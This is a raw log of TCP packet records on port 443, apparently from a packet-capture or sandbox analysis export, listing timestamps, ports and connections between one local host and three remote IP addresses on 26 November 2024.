Nov 26, 2024 13:44:04.861901045 CET	443	49829	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:04.862241030 CET	49829	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:04.862312078 CET	443	49829	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:04.862411976 CET	49829	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:04.903331041 CET	443	49829	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:05.055552959 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.056147099 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.056164980 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.056890965 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.056896925 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.091651917 CET	443	49825	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.091708899 CET	443	49825	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.091764927 CET	49825	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.092185020 CET	49825	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.092195988 CET	443	49825	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.092209101 CET	49825	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.092217922 CET	443	49825	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.095101118 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.095128059 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.095186949 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.095396042 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.095407963 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.095844030 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.096096992 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.096143007 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.097497940 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.097558975 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.099441051 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.099509001 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.099807978 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.099850893 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.121720076 CET	443	49826	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.121736050 CET	443	49826	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.121805906 CET	49826	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.121824026 CET	443	49826	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.121972084 CET	49826	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.121972084 CET	49826	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.121978998 CET	443	49826	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.122003078 CET	443	49826	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.124296904 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.124334097 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.124386072 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.124535084 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.124548912 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.145395041 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.208885908 CET	443	49827	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.208954096 CET	443	49827	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.209012985 CET	49827	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.209264040 CET	49827	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.209271908 CET	443	49827	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.209283113 CET	49827	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.209285975 CET	443	49827	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.212327003 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.212347984 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.212423086 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.212554932 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.212562084 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.500945091 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.501023054 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.501111031 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.501336098 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.501343966 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.501367092 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.501372099 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.504456997 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.504511118 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.504595041 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.504945993 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.504965067 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.559655905 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.560276985 CET	49830	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.560291052 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.560750961 CET	49830	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:05.560755014 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:05.590370893 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.591867924 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.591968060 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.592010021 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.633272886 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.633312941 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.636867046 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.636929035 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.637062073 CET	443	49831	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.637099981 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.637128115 CET	49831	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.637820959 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.637846947 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:05.637916088 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.638113022 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:05.638125896 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:06.090647936 CET	443	49829	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:06.090802908 CET	443	49829	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:06.090869904 CET	49829	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:06.091572046 CET	49829	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:06.091586113 CET	443	49829	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:06.238389969 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:06.238404989 CET	443	49837	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:06.238486052 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:06.238833904 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:06.238846064 CET	443	49837	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:06.842875004 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:06.843364954 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:06.843414068 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:06.843816996 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:06.843828917 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:06.880362988 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:06.880983114 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:06.881006956 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:06.881459951 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:06.881464958 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:06.904974937 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:06.905395985 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:06.905411005 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:06.906487942 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:06.906554937 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:06.906975031 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:06.907031059 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:06.907275915 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:06.907285929 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:06.961910963 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:06.997005939 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:06.997628927 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:06.997646093 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:06.998122931 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:06.998127937 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.284156084 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.284172058 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.284255981 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.284293890 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.284662008 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.284683943 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.284707069 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.284866095 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.284903049 CET	443	49833	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.284957886 CET	49833	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.287349939 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.287872076 CET	49838	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.287903070 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.287981033 CET	49838	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.289236069 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.289268017 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.289858103 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.289865971 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.290438890 CET	49838	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.290452957 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.330871105 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.330897093 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.330971956 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.330982924 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.331037998 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.331279993 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.331284046 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.331330061 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.331443071 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.331475019 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.331531048 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.334615946 CET	49839	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.334661961 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.334827900 CET	49839	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.334938049 CET	49839	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.334960938 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.418792963 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.426548004 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.426615000 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.426624060 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.441279888 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.441411018 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.441483974 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.441804886 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.441812992 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.441848040 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.441853046 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.445981026 CET	49840	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.446031094 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.446120024 CET	49840	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.446291924 CET	49840	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.446306944 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.470649958 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.470657110 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.498624086 CET	443	49837	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:07.498984098 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.498996019 CET	443	49837	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:07.500082970 CET	443	49837	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:07.500155926 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.500613928 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.500650883 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.500675917 CET	443	49837	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:07.500706911 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.500751972 CET	49837	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.501091003 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.501110077 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:07.501192093 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.501833916 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:07.501847029 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:07.516388893 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.632077932 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.632087946 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.632143974 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.632164001 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.632179022 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.632180929 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.632199049 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.632307053 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.646742105 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.646749973 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.646857023 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.646863937 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.647124052 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.647157907 CET	443	49836	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.647229910 CET	49836	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.669998884 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.670042038 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.670126915 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.670497894 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.670523882 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.670589924 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.671060085 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.671077967 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.671375036 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:07.671386003 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:07.736593962 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.737356901 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.737440109 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.737528086 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.737546921 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.737559080 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.737565994 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.741328955 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.741379023 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.741555929 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.741679907 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.741702080 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.810970068 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.811008930 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:07.811146021 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.811460972 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:07.811475992 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.567099094 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.567125082 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.567262888 CET	49830	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:08.567276001 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.569545984 CET	49830	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:08.569560051 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.569571018 CET	49830	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:08.569701910 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.569741011 CET	443	49830	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.569794893 CET	49830	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:08.572962999 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:08.573008060 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.573146105 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:08.573328018 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:08.573347092 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:08.773495913 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:08.773930073 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:08.773948908 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:08.775418997 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:08.775485039 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:08.775913000 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:08.775994062 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:08.776079893 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:08.776087999 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:08.819267988 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:08.938198090 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:08.938635111 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:08.938652039 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:08.938996077 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:08.939404964 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:08.939460039 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:08.939629078 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:08.939656019 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.117913008 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.121500015 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.121543884 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.122571945 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.122663021 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.125380993 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.125447035 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.125788927 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.125802040 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.129873991 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.136722088 CET	49839	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.136761904 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.137290955 CET	49839	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.137299061 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.178577900 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.203774929 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.204327106 CET	49838	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.204346895 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.204922915 CET	49838	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.204929113 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.305352926 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.306641102 CET	49840	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.306674957 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.307118893 CET	49840	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.307126999 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.389312029 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.429847956 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.429863930 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.457904100 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:09.458034992 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:09.458116055 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:09.482791901 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.527137995 CET	49841	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:44:09.527149916 CET	443	49841	172.66.0.102	192.168.2.7
Nov 26, 2024 13:44:09.568886995 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.568954945 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.569065094 CET	49839	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.577555895 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.590693951 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.590703964 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.590770006 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.590779066 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.590823889 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.632045984 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.632075071 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.647828102 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.651408911 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.651504040 CET	49838	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.672130108 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.672182083 CET	443	49843	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.672259092 CET	49843	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.673522949 CET	49838	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.673537016 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.673541069 CET	49839	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.673541069 CET	49839	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.673548937 CET	49838	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.673553944 CET	443	49838	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.673578978 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.673595905 CET	443	49839	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.677109957 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.677125931 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.677156925 CET	49848	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.677172899 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.677191019 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.677223921 CET	49848	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.677335024 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.677345991 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.677361012 CET	49848	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.677372932 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.682564020 CET	49842	443	192.168.2.7	52.1.52.84
